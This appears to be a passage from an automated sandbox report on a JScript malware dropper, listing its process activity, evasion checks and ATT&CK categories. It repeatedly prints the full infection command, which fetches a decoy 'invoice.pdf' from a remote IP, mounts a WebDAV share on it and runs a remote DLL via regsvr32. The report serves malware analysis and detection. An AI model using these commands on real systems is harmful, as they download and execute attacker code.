Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4657.js.csv");ITextStream.WriteLine(" entry:7751 f:gparfcer");ITextStream.WriteLine(" exec:2 f:gparfcer");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3675			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5085			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1172	Thread sleep count: 3675 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6200	Thread sleep count: 5085 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3716	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5508	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 528	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6096	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2103201922.0000022D73AC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2103201922.0000022D73B2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3328063789.000001FA49858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3327178431.000001FA4422B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
